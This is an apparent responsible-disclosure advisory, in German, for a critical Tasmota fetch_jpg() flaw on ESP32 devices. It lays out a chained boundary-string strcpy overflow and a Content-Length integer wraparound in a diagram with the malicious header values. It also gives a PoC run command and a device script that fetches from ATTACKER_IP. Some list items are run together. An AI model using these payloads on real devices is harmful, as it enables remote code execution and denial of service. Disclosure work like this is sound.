
CVE-2026-38422 — Remote Code Execution durch kombinierte Pufferüberläufe in Tasmota fetch_jpg() (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38422
Schweregrad: Kritisch (CVSS 9.8)
Produkt: Arendst Tasmota
Betroffene Version: <= 15.3.0.3
Datei: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Funktion: fetch_jpg()
Autor: Saidakbarxon Maxsudxonov
Offenlegung: Verantwortungsvoll – vor Veröffentlichung an Tasmota gemeldet
Die fetch_jpg()-Funktion im Tasmota-Scripter-Treiber (xdrv_10_scripter.ino) enthält zwei sich verstärkende Speicherkorruptions-Schwachstellen, die gemeinsam eine Remote-Codeausführung auf ESP32-basierten Geräten mit Tasmota <= 15.3.0.3 ermöglichen:
strcpy()-Überlauf in einen festen 40-Byte boundary[]-Puffer – beschädigt angrenzenden Heap-Speicher, einschließlich WiFiClient/HTTPClient vtable-Zeiger (siehe auch CVE-2026-38426)uint16_t-Integer-Überlauf bei Content-Length – allokiert einen zu kleinen Puffer, was zur Korruption des Stream-Status führt (siehe auch CVE-2026-38427)Zusammen in einer einzigen Angriffssitzung genutzt, maximieren diese beiden Primitiven die Heap-Korruption und erhöhen die Wahrscheinlichkeit einer willkürlichen Codeausführung erheblich.
Attacker MJPEG Server
│
│ Phase 1: HTTP 200 response with long boundary string
│ Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars)
│ → strcpy(boundary[40], 50_chars) → OVERFLOW
│ → WiFiClient vtable ptr partially overwritten
▼
ESP32 Heap Corrupted
│
│ Phase 2: MJPEG frame with Content-Length > 65535
│ Content-Length: 65537
│ → uint16_t size = 1 (wraparound)
│ → malloc(1), readBytes(buff, 1)
│ → 65536 bytes remain in stream → heap/stream corruption
▼
Double Corruption → RCE / Guaranteed DoS
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos
Der PoC-Server:
fetchjp()-Auslöser)Content-Length: 65537 (Überlauf)Siehe CVE-2026-38422_poc.py für die vollständige Implementierung.
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
Das Gerät muss ein Tasmota-Skript ausführen, das fetchjp() verwendet. Der Angreifer kontrolliert den Server, mit dem das Gerät verbunden ist (oder führt MITM auf einer bestehenden Verbindung durch).
Jedes ESP32-basierte Tasmota-Gerät mit Version <= 15.3.0.3, aktivierter Scripter-Unterstützung und einem Skript, das fetchjp() zur Verbindung mit einem externen MJPEG-Server verwendet.